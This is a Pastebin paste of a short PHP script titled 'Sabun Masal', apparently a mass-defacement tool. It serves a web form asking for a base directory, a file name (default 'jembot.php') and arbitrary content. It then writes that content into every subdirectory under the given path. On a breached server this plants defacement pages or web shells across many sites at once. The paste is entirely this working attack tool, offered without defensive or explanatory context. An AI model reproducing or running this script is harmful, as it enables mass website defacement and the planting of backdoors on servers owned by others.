bonekcok21

sabun

Sep 23rd, 2018
839
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. <?php
  2.  
  3. echo "<title>Sabun Masal</title>";
  4. echo "<center><form method='POST'>";
  5. echo "Base Dir : <input type='text' name='base_dir' size='45' value='".getcwd ()."'><br><br>";
  6. echo "File Name : <input type='text' name='file_name' value='jembot.php'><br><br>";
  7. echo "Your Index : <br><textarea style='width: 785px; height: 330px;' name='index'>Scriptmu mazz...
  8. </textarea><br>";
  9. echo "<input type='submit' value='Start'></form></center>";
  10.  
  11. if (isset ($_POST['base_dir']))
  12. {
  13. if (!file_exists ($_POST['base_dir']))
  14. die ($_POST['base_dir']." Not Found !<br>");
  15.  
  16. if (!is_dir ($_POST['base_dir']))
  17. die ($_POST['base_dir']." Is Not A Directory !<br>");
  18.  
  19. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  20.  
  21. $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  22.  
  23. foreach ($files as $file):
  24. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  25. {
  26. $index = getcwd ()."/".$file."/".$_POST['file_name'];
  27. if (file_put_contents ($index, $_POST['index']))
  28. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  29. }
  30. endforeach;
  31. }
  32.  
  33. ?>
Advertisement
Add Comment
Please, Sign In to add comment